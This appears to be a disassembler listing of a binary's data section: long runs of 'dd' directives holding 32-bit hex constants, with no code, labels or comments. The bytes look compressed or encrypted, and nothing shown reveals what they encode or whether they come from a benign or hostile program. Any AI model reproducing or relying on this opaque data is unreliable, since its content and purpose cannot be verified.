		dd 2071740Ah, 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h
		dd 0CBC70D14h, 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h
		dd 1C6CEFh, 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh
		dd 0EE3AE1B5h, 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h
		dd 0D875CBC9h, 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh
		dd 52E22C92h, 0A46DA7h,	0B3446BEFh, 0C308BB43h,	0CA535026h
		dd 0F53B1700h, 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h
		dd 0A7B052B2h, 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh
		dd 9007D0Eh, 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh
		dd 0C20146F0h, 6900E8ECh, 1505ED39h, 0FE388934h, 65C31FBDh
		dd 6581E542h, 0E0A00E6Eh, 2B00DE8Bh, 81E41C5Dh,	714FBh
		dd 646885BDh, 162F8629h, 8AEAAC00h, 0E455121Ch,	4A4800F7h
		dd 278358E0h, 2B3B04EBh, 5F9E9F68h, 7D19F3C0h, 0F05497h
		dd 0B4517F52h, 38783644h, 324638h, 33D08B56h, 0FEBF6h
		dd 80068A7Dh, 5742FF9h,	5C5F0A00h, 42F29007h, 0F3A00D7h
		dd 0ABD0EC09h, 0A6000354h, 0FCC34A5Eh, 7C75F7F0h, 17E51753h
		dd 42470030h, 0B8A0D73Ah, 0DF822900h, 0FCE488D1h, 7E3700BEh
		dd 95EB1C7Bh, 177892F7h, 0DA19A10Fh, 3CA900EDh,	0FD3E8Bh
		dd 9A708845h, 0C94F943Ah, 1241520Eh, 0F4538024h, 284ADCh
		dd 6389E2C1h, 3C7B8E5Dh, 3B7CE800h, 5C033A78h, 1D1C003Fh
		dd 40F61304h, 5F0B148Fh, 34A5A5Bh, 0F16886E4h, 6520C13Bh
		dd 0F0A61C8Ch, 209FBD8Eh, 0D9B5001Ch, 301BAD96h, 0BE95D500h
		dd 4A4D8EBFh, 687F3F73h, 0C49D5100h, 45EB3E70h,	34A97D0Eh
		dd 35C07EE4h, 2147D3BDh, 506F00E0h, 2F58107Ah, 93F8B702h
		dd 0FEE96E05h, 0CB010FFFh, 0C231A26Ah, 0C0428820h, 2E06BA34h
		dd 0EEFF23A3h, 0E59BC05Fh, 0F8DC00BBh, 0BF94B054h, 5B0263D0h
		dd 78DFE964h, 322861ACh, 1331803Bh, 0EFFC6C75h,	625C2300h
		dd 0FDFB447Ah, 0BEE70361h, 0BB4EDF1Eh, 792C63F8h, 0F86D5E1Dh
		dd 202ED980h, 0F72A6Bh,	4C7D62AEh, 7986E34Fh, 6DDCE03h
		dd 0D8ACF63Ch, 641A53h,	0B38D702Eh, 14B67582h, 52509F07h
		dd 0FBC15DCFh, 0B9EC4E78h, 0F88400F0h, 6BB453FEh, 74039714h
		dd 0FABD0DA7h, 48C2F81Fh, 0E8830002h, 30B83AA2h, 202C264Bh
		dd 0B501D512h, 762C4306h, 0F00A89D0h, 0EF6D099Bh, 0D88029FEh
		dd 66C78B3Fh, 547E9AFCh, 0A9165Ch, 55FC4492h, 51930Fh
		dd 0CF10B22h, 16F8678Bh, 0CFBE7503h, 0B0381ACEh, 0C0103Ah
		dd 0FE124B1Ch, 74C9DD6h, 7D00ADB0h, 0CB51ACFCh,	972F10h
		dd 4F022944h, 7E12A90Ch
		dd 8F0B870Fh, 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h
		dd 0E910D137h, 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h,	33C0EFA5h
		dd 0EF57519h, 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh
		dd 39F98443h, 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h
		dd 0F2F5EB8h, 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h
		dd 951DAC9Ch, 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h
		dd 0C1E1500h, 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh
		dd 0C80001C9h, 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h
		dd 0B490F485h, 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h
		dd 155C81Eh, 0CBD52EC9h, 0A2F91600h, 64146E09h,	7507846h
		dd 70965534h, 0C6B75160h, 3ED7F092h, 0FCFC73Fh,	61E9E0E5h
		dd 6C79FE9Fh, 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h
		dd 5C087D00h, 3F840ADh,	0B93500B4h, 0EF8B0689h,	0A5EE795Dh
		dd 4B437000h, 460307C0h, 0C3E0048h, 0F02B0A33h,	0E800244Ch
		dd 592556AFh, 12EB007h,	0C8471F8Ah, 0E44E4034h,	49004423h
		dd 16051F2h, 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h
		dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h,	0BF366425h
		dd 1A296A80h, 185FE17h,	72F107A6h, 0D08E924Dh, 0EB007534h
		dd 0D04AD58Bh, 20BA61h,	0E36E9E65h, 408D85E1h, 80CFAA00h
		dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh,	0C8D6ADB2h
		dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h,	0BFFE0156h
		dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h,	0C3F43CE9h
		dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh
		dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh,	0D9008275h
		dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h
		dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h,	9FAB7200h
		dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h
		dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h
		dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh
		dd 0C7555Ah, 8870540Eh,	3C9EDF8Fh, 0FF72E300h, 5DADC815h
		dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h
		dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h
		dd 7222DCh, 0AF202414h,	0E8DBF93Bh, 468CF50Ah, 0DF05FE52h
		dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh,	22261993h
		dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h,	111F32E3h
		dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh,	4E00A471h
		dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h,	60230400h
		dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h,	5FEB2CF9h
		dd 117865h, 0BFE65AF1h,	0BB245818h, 7C8270BFh, 827C1CE8h
		dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh
		dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h
		dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh
		dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h,	5F2400D5h
		dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h
		dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h
		dd 57C1564h, 51E4B816h,	0FC30D205h, 90B0897Fh, 0ABE80041h
		dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h
		dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh
		dd 1FF200Fh, 558DB13Dh,	80A54724h, 13FA8347h, 0BF089916h
		dd 438CA500h, 110C648h,	0AD4A3063h, 0E8A8C40Eh,	0B2002A69h
		dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h
		dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h
		dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h
		dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h
		dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h
		dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h
		dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h
		dd 217E3B6Ch, 6580898h,	0E0001486h, 0A9298E0Bh,	3F407DDCh
		dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h
		dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h,	0BBB32927h
		dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h
		dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh,	8DFCA54Bh
		dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h
		dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h,	5DC62CBCh
		dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh,	3B974014h
		dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h
		dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h
		dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch,	85EA1465h
		dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h
		dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h,	40E59D03h
		dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h,	770740DEh
		dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h
		dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h,	14046B22h
		dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h
		dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh
		dd 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h
		dd 90AD9344h, 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h
		dd 421C8028h, 27038C3h,	9678732Eh, 6B1EDD00h, 201018h
		dd 0EB7C74A7h, 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh
		dd 4C7200EFh, 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch
		dd 0EE4B54D8h, 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h
		dd 6CA2E407h, 0ACB0A943h, 84258Ah, 5419A457h, 4D68809h
		dd 0BA442039h, 7826DC5Ah, 85CCC00h, 97948C9Ch, 80960041h
		dd 14819844h, 38000988h, 1C08119Ah, 467FE8h, 109BB802h
		dd 29A27436h, 8F32093Eh, 0C7A6219Ah, 0F830C458h, 0E9006C3h
		dd 0C605111h, 87B009A0h, 460410Eh, 7171860h, 0A13600E8h
		dd 8C1B0C02h, 1A00DC10h, 21CCB408h, 0EAD40984h,	3A47519h
		dd 201F4050h, 0D8F38088h, 23D0F0DFh, 1100A081h,	4022E34h
		dd 0E82F7C22h, 5446004Ch, 9C49932h, 800516Ch, 22A4913Ch
		dd 5C2074h, 942C4457h, 0F8116489h, 0BC026600h, 6239DC26h
		dd 100900ACh, 52E00353h, 5A0E7933h, 0AF495931h,	90C0204h
		dd 0F460C124h, 7B38A320h, 0A8086164h, 0D4204137h, 0B10ECCC6h
		dd 66B8CB40h, 0E8C88D2h, 980870C8h, 11DC84E0h, 0CC1D1B48h
		dd 873FD9E0h, 1059E744h, 21F96050h, 2A18001Ch, 0CC29ECA8h
		dd 11315408h, 2B744824h, 0BE2330h, 75D17632h, 14EC6405h
		dd 4AC7ACB8h, 2670023Fh, 7A6359ACh, 0A828007Ch,	0A7C43818h
		dd 5B00F008h, 0F411C081h, 0A021B15Eh, 3026295h,	4C70253Ch
		dd 0A8D1409Ch, 50437089h, 2007657Eh, 58488824h,	51766CF1h
		dd 74A46C80h, 0AC12DC89h, 6DFC2212h, 20462C00h,	0C64B972h
		dd 58755171h, 810AA3B8h, 0D5891744h, 0B8261D00h, 1E117CC6h
		dd 9E43554Ah, 0DA440B4h, 4707E817h, 0E170280Eh,	6AC24225h
		dd 0A787F7D0h, 0DD010ACCh, 1C32007Ch, 0EC08B13h, 1558408Dh
		dd 0C6010013h
		dd 31181F84h, 821000Ch,	32032480h, 52E048E6h, 746E7500h
		dd 20656D69h, 0E27200E4h, 83DAE76Fh, 0EAFC6101h, 863B3000h
		dd 18455140h, 80112DBFh, 80191B57h, 0B5413938h,	57805E5Ch
		dd 0DEC0120h, 0A00A1D55h, 58C5C14Eh, 319C0C56h,	0F8AE31B8h
		dd 1007D430h, 1FC1F927h, 0F3911C23h, 0E20AD81Eh, 1897001Dh
		dd 7CF001ABh, 6C00A466h, 105AE433h, 0B70907ECh,	3896DEh
		dd 6C05265Ch, 4C185B66h, 7C006F74h, 128C8984h, 9C092494h
		dd 8791A448h, 0BCF3B475h, 0FBCCFBC4h, 0FBDCFBD4h, 0FBECFBE4h
		dd 4FCF8F4h, 0C5C0140h,	1C121489h, 2C48C424h, 22349107h
		dd 4C17443Ch, 0F81754F1h, 6CED64EDh, 0F67C6F70h, 8C120584h
		dd 824A9424h, 0BC80E5BDh, 5390408h, 8E641C00h, 6A236547h
		dd 5FA83E89h, 48605403h, 0C0F75808h, 6411610Ch,	0E2BCC803h
		dd 0B0316214h, 46801Ch,	88E02363h, 38C46494h, 1FEC7200h
		dd 306548E2h, 8C5E00F0h, 11660423h, 100D560h, 37842A93h
		dd 0E500D14h, 4B4A4847h, 4E4D4C02h, 534705FFh, 585737C0h
		dd 0A056005Ah, 454104ECh, 4F1C6A49h, 6301B811h,	68676664h
		dd 6C6B80EBh, 0AF6E5A6Dh, 74052F00h, 17A7877h, 61200176h
		dd 606F6965h, 9160B998h, 0C4A010DCh, 0A7AC0022h, 0C6E80901h
		dd 740E84AAh, 0E0315132h, 71B09840h, 9EB0FFh, 0C8101101h
		dd 30912009h, 44312200h, 2F388C34h, 69070041h, 33E8C79Ah
		dd 0B001E90Fh, 19F3F0F2h, 4520A490h, 1D2B90B8h,	0C0F822D4h
		dd 3C45581Ch, 741724DEh, 30408C48h, 0ECD444BCh,	59040288h
		dd 34121881h, 6420FA8Eh, 94227C91h, 0FFA84407h,	0C9001F7Eh
		dd 0C1BD8Dh, 9B382F3Fh,	6B707AFEh, 4B3E1D00h, 0AF51C049h
		dd 391A1CB6h, 931500F4h, 1B926CB0h, 5B78B424h, 95553B00h
		dd 708436F7h, 86B8E4h, 0CE0D4AD2h, 0F501DD09h, 0E3CD5300h
		dd 601DB413h, 0F820006Ch, 0A4225027h, 24009B03h, 41659885h
		dd 0F95018Fh, 728409E8h, 70589907h, 4070084Ch, 8900737Fh
		dd 0C5FF1C88h, 7CA3F003h, 75C80021h, 0A43110BEh, 0A67EE408h
		dd 1933D001h, 70EC09E0h, 0BA740D4h, 0F849CCC8h,	90D7A287h
		dd 0AD0A802Ch, 4A96C06h, 3E60A5FEh, 248EA838h, 68E35409h
		dd 84B87412h, 0B5A89048h, 0C80345B8h, 964C033h,	0EB32EB21h
		dd 4442E83Ch, 0B35A0350h, 0D2C08A24h, 3E08B590h, 152981Eh
		dd 3020779h, 6020504h, 0A266007h, 0D0C0E0Bh, 10400E0Fh
		dd 7894389Ch, 0A403BEBAh, 0C401811h, 0C40B99B4h, 7BD02620h
		dd 310D248Dh, 105C030Eh, 0E09B0E34h, 2001C0ACh,	90E61294h
		dd 0A8021376h, 1A6C3616h, 9C2D6019h, 1F401C80h,	7022C184h
		dd 0F77811CCh, 0A024B1D7h, 0C826E488h, 7A279924h, 20192801h
		dd 6E8954D9h, 3B003160h, 10012E34h, 3C033F1Eh, 0E0EC118Fh
		dd 0B0023308h, 34483E22h, 2F6892h, 2C36317Dh, 9009937h
		dd 0C1399032h, 1EC4023Bh, 0C0B4063Dh, 5C874C3Eh, 400C8CCh
		dd 0B15A448Bh, 37714B0h, 639C1864h, 0E9B03038h,	311FDC73h
		dd 700019D4h, 785DD9BEh, 0F284E89Eh, 20AE0004h,	79CC6398h
		dd 0C4CA2E4h, 4411003Fh, 399C5676h, 995C3A66h, 6C5D798Fh
		dd 0D1F5DDC2h, 0A1E05760h, 3652400h, 0C4793310h, 4807519h
		dd 0DC592CB1h, 12218022h, 422486E0h, 0D200B088h, 5C809219h
		dd 9300053h, 3C247214h,	89161260h, 6003992Ch, 0A8A5D481h
		dd 0E2195C2Eh, 442000Ch, 9948515Ah, 0D07411BCh,	0F9C4B93Ah
		dd 26D9A500h, 65193440h, 5809007Ch, 0D4889C12h,	0A000941Ch
		dd 604A90EAh, 366AC2Ah,	41500998h, 8DC057F7h, 0D9F82808h
		dd 49145900h, 9FB4298Ch, 3C313E33h, 2060A987h, 4C7470C9h
		dd 441F6FF4h, 54C1D939h, 91282999h, 0F0C2C07Bh,	250CA49Eh
		dd 129CC419h, 32BF00E0h, 0A514387Bh, 1B584CACh,	69C6015Ah
		dd 885BC33h, 1134F8h, 0D8A4F904h, 1C94A9DCh, 4C619901h
		dd 49883C09h, 0C9083F2h, 4BFBE8D9h, 20460079h, 66107A30h
		dd 2C3A51E4h, 3FB4C841h, 6875F45Ch, 58037FB0h, 94D31287h
		dd 549A0E60h, 5CE090B0h, 0B466B896h, 6C61A973h,	0CC5211ECh
		dd 3106730h, 94B059F2h,	70C00C84h, 2390B199h, 995AC00h
		dd 74329CDCh, 258C0261h, 20D84C2Ch, 90A4B740h, 0C6FC9600h
		dd 786A59C0h, 0D7011E41h, 1B7257Ch, 5BEAC55h, 91934C87h
		dd 70539190h, 1800869Eh, 0AC562096h, 0FA5EC814h, 9EF205C0h
		dd 807CD024h, 8FEC978Dh, 110088F8h, 0EE1920Ch, 2C0298h
		dd 9A4E203Eh, 9CC8B047h, 0DAF13CC0h, 2C08019Bh,	3F961E93h
		dd 1EC41093h, 0FA1887ADh, 995AF0B1h, 93E7031h, 24A08088h
		dd 91D448B8h, 0F22202E2h, 400CFE44h, 32896A60h,	2425127Fh
		dd 9FA07554h, 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh, 9520B81Fh
		dd 3BCF74BDh, 0C04CCF3Eh, 22749158h, 8196FE86h,	0BFC0FDAEh
		dd 0BFDEBFEAh, 2BFC89EEh, 1973870Ah, 0C03611D2h, 302944CAh
		dd 807D1452h, 5B89053h,	0C20CAC7Dh, 28E489D4h, 41400F4h
		dd 268C1C97h, 27B83411h, 4C00427Eh, 64445822h, 0C020A672h
		dd 0B889A884h, 2430CC12h, 9823BFE0h, 111C1819h,	223A522Ch
		dd 5E444A05h, 3BC0897Ah, 0FB424A4h, 0D491C448h,	0F0E0E2EFh
		dd 991688FEh, 1226810Ch, 5CF53Ah, 82226E91h, 89AA9844h
		dd 0CA54BA7Fh, 0FEFEF297h, 9A0C100Ch, 0B329422h, 0AC468A40h
		dd 96C5A80h, 107DA686h,	89BAA805h, 0D19013CAh, 259BE0F0h
		dd 7F800E81h, 914E483Ah, 6E03607Fh, 898C8044h, 0F8AEFB9Ch
		dd 70154C8h, 0BF08E429h, 1E11C023h, 0AEA22C32h,	4F64EDA4h
		dd 3E7E2C74h, 0A612009Ah, 3430B025h, 7200656Bh,	6C076E73h
		dd 2E3233h, 10D45E64h, 7487473Eh, 0C9789Dh, 0E66ECE1Eh
		dd 1C0C6854h, 49646117h, 446DD300h, 0F83046h, 69757243h
		dd 617B63E4h, 0EB537E00h, 6E6F108Ch, 0CA4C2E31h, 56170067h
		dd 7EDA45E0h, 1895B000h, 27B6499Dh, 7AFC0124h, 566735A5h
		dd 75EC43F7h, 0EC46FE00h, 41A20E34h, 6F960382h,	0D5E8C663h
		dd 19DA1CD0h, 0A6001AF4h, 0CA51742Ah, 1079E4h, 64695706h
		dd 61683EBCh, 0D0548325h, 1D6C00F1h, 287942B8h,	0C03AE34h
		dd 98212ED5h, 7773F02Dh, 0DAA00074h, 4CE1416Eh,	3E00630Ch
		dd 87FD7970h, 17AD23Dh,	18740648h, 0CB726269h, 612445F1h
		dd 32E9CCB4h, 899B1D00h, 531223EDh, 88BA0097h, 0AE27094h
		dd 417C6F66h, 72504300h, 64713E7Bh, 735200CEh, 4DC73634h
		dd 8700FA6Fh, 61488E3Fh, 0CF96Eh, 18144F41h, 4E086946h
		dd 6D0057F8h, 565A5216h, 0F412544Dh, 459403A0h,	0E4A6DC72h
		dd 6DD35390h, 0A3938E00h, 3552A59Ah, 751B3F25h,	2C0E1900h
		dd 0ED08BE64h, 4D18B0E8h, 419C426Ah, 0FA730032h, 0D33EC72Ah
		dd 9900569Dh, 0A98A5724h, 0F19B080h, 0A6686E55h, 46B2E7C0h
		dd 440E703Ch, 0C033DA99h, 145374A4h, 501A0926h,	0B800946Fh
		dd 4F5C4562h, 3D9A6600h, 8CFFE0C3h, 0D4770082h,	1F490CD3h
		dd 7B041857h, 52F0ABF3h, 0A23066C0h, 90C6B864h,	2DA100A0h
		dd 227AD153h, 79288A4Eh, 6D0096BCh, 0E97E6954h,	0F8C44F1Eh
		dd 43220070h, 38527A4Bh, 0D47194D9h, 75CC4900h,	0CA9B7214h
		dd 324B0367h, 0BE406279h, 3AA664D0h, 3501917Dh,	6EEF05EEh
		dd 4DE80A67h, 619E00FFh, 6F428ABAh, 0A6024878h,	7D4E9F11h
		dd 0C80943B6h, 3F29767Bh, 4AA46970h, 326700F2h,	9143565Ch
		dd 20E4D00h, 9A4F29D9h
		dd 0C06E39A6h, 21D41300h, 8723DB89h, 58A7A00h, 29747561h
		dd 70B50740h, 80A00DE4h, 0C4F0A9C3h, 2C0E66F4h,	0A0986F16h
		dd 64534977h, 7F9A0028h, 3905E4Ch, 0B009ADACh, 844DE965h
		dd 0BBC7E5B0h, 458C02Eh, 0A525D4h, 548FCC8Ah, 542849Ah
		dd 9100B8E8h, 591B470Eh, 15DA4Eh, 677A66C5h, 2A1749AAh
		dd 9FE1B400h, 24125628h, 0DE4C3F41h, 0ED641400h, 60934092h
		dd 0E2CF5300h, 70476D75h, 54F6006Ah, 0EF5210B9h, 536EC558h
		dd 4C11A07Ah, 3D0A599Ch, 3B9D3351h, 90084150h, 0C463CADEh
		dd 772636B7h, 0A500C571h, 0C105C91Ch, 0F9D0075h, 0C4D42873h
		dd 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h, 322100F2h
		dd 10946BF3h, 0EA7404B1h, 1E184CECh, 0A956F5F6h, 134900B5h
		dd 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h,	149738Bh
		dd 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh, 0CE4E456Eh, 12D4EDBAh
		dd 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h, 0CC6B1E84h
		dd 73F70DAh, 41256361h,	0F22EC097h, 5D005051h, 93C077A2h
		dd 0F4431923h, 219B0FE7h, 4480587Ah, 696F76FCh,	24DF3E00h
		dd 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h, 0A2309C41h
		dd 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah, 53092084h
		dd 8002574Ah, 0E65477DCh, 12A7075Bh, 0FF825014h, 6C440580h
		dd 0D5004967h, 252366EDh, 38699FA0h, 9480B970h,	0A276B444h
		dd 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h, 1E324693h
		dd 8FA6C241h, 6200CAE4h, 0D3EEA4EBh, 2658664h, 57E08A63h
		dd 0FD80D484h, 70412032h, 2990A605h, 41C0BAACh,	9C9BA8h
		dd 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh, 0A3144EADh
		dd 0EA5DA895h, 77F7958h, 3250F10Dh, 88222031h, 0B41D2CD4h
		dd 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh, 0F3EC4CA8h
		dd 3795CD77h, 2A1D7600h, 1268C6DEh, 4878D8h, 412C5357h
		dd 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h, 1459A361h
		dd 5C6521BAh, 8E1D680Bh, 0D025000Ah, 7D6FAB26h,	981A0C7Dh
		dd 868B1A5h, 1FD6B701h,	2552EB7Eh, 858630h, 18547078h
		dd 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h, 203D3251h
		dd 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h, 70801h
		dd 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h, 0E850E44Ch
		dd 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah, 0FCA2FC9Ah
		dd 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh, 0FCF2FCEAh
		dd 2E100FAh, 12C90A31h,	0D93D1AD1h, 0E92A0022h,	0F93AF132h
		dd 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h, 0FC8AFC82h
		dd 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h, 4FFEFCF6h
		dd 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah, 0BF90B87Eh
		dd 3477071Ch, 80CD9D3Ah, 27263513h, 7E0479Ch, 55362161h
		dd 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh, 1ECD9EC2h
		dd 1FDF9FD5h, 0F300E974h, 0F390987h, 15471D27h,	0B43A6730h
		dd 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h,	7EAE7EA8h
		dd 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah, 2E672847h
		dd 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh,	303B1AE1h
		dd 0D17FC9h, 0E0BDD99Fh, 0DC723CCFh, 3D0F1C00h,	1D2E9D15h
		dd 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh, 0F4F8ECF4h
		dd 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h, 0E172D92Dh
		dd 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh, 8CC0007h
		dd 3A309C3Bh, 1D00649Dh, 1E7D9E6Dh, 3A8B9F85h, 9B3B941Fh
		dd 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh, 3EFE971Eh
		dd 5401488Eh, 73495C0Fh, 0C492F924h, 4600CA10h,	1CFC7E0Eh
		dd 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh, 87F980EEh
		dd 3083302h, 21471827h,	0F0017267h, 93C789A7h, 0A1C999E7h
		dd 0AD67CFD3h, 0BEA0B487h, 3465E1h, 0D1ABC98Dh,	0E0BFD9B7h
		dd 72351900h, 7627741Fh, 6278014Ah, 3F368349h, 0D0C9C9B5h
		dd 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh, 0ECB9E8A9h
		dd 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h, 663D4A3Ch
		dd 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh, 0D3C3A1B3h
		dd 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h,	12A71DCCh
		dd 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h,	0CF19ABC8h
		dd 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah, 1CF2007Eh
		dd 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh, 7873762Bh
		dd 0F4915483h, 0F8BCFCB3h, 1B8700C3h, 39272035h, 673D4447h
		dd 0A757004Ch, 0E76FC769h, 0A98EE475h, 0ABE1A6C5h, 9A24CDE9h
		dd 9AE8FCE3h, 3604003Ch, 0D117C909h, 0CA00D9BEh, 503AFBE0h
		dd 4080C4h, 0C3146C81h,	0A7934A92h, 0B2B6A301h,	643203CFh
		dd 0C9E4ABE5h, 39BA00B3h, 0E05016D9h, 0FD1EE4E7h, 368040E8h
		dd 0E6A12A56h, 76F20074h, 380B1CF9h, 32009D29h,	459E3E1Dh
		dd 87E21Eh, 27B7398Eh, 61C547BEh, 0BF3A8400h, 723B0EC8h
		dd 0EC7400B9h, 0AF3C051Ch, 3D008887h, 3E1821BAh, 0E0C953h
		dd 9D9F8D1h, 0E83CC024h, 56EC4D00h, 50CB98F1h, 28C1206h
		dd 345E00C3h, 0A33A9333h, 53B3441Eh, 67D35DC0h,	0F279E3h
		dd 0A9C0A78Fh, 6093B0E4h, 0C4F3BD1Ch, 0D31DCB9Dh, 0E51EDC9Eh
		dd 0F71FED9Fh, 1F0FB80h, 0E40535h, 920FE80Bh, 7C2C7A74h
		dd 3B49361Dh, 4E543F8Eh, 0CF6B8E5Eh, 4F8A0F82h,	0CF9A8F92h
		dd 0CFAACFA2h, 0C0C4CFB2h, 0D6012AF5h, 763B0074h, 7A687843h
		dd 7E717C70h, 9E758473h, 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh
		dd 1B370D1Ch, 91D259Dh,	1E489E43h, 87675584h, 678647B5h
		dd 0AF96878Eh, 9F1E1FF3h, 9FB61FAEh, 9FC69FBEh,	9FD69FCEh
		dd 0A4E69FDEh, 80F61FFFh, 380687FEh, 1607270Eh,	26671E47h
		dd 36A52EA0h, 46EE0E4Fh, 56404ECFh, 661A0FD6h, 76F46EF0h
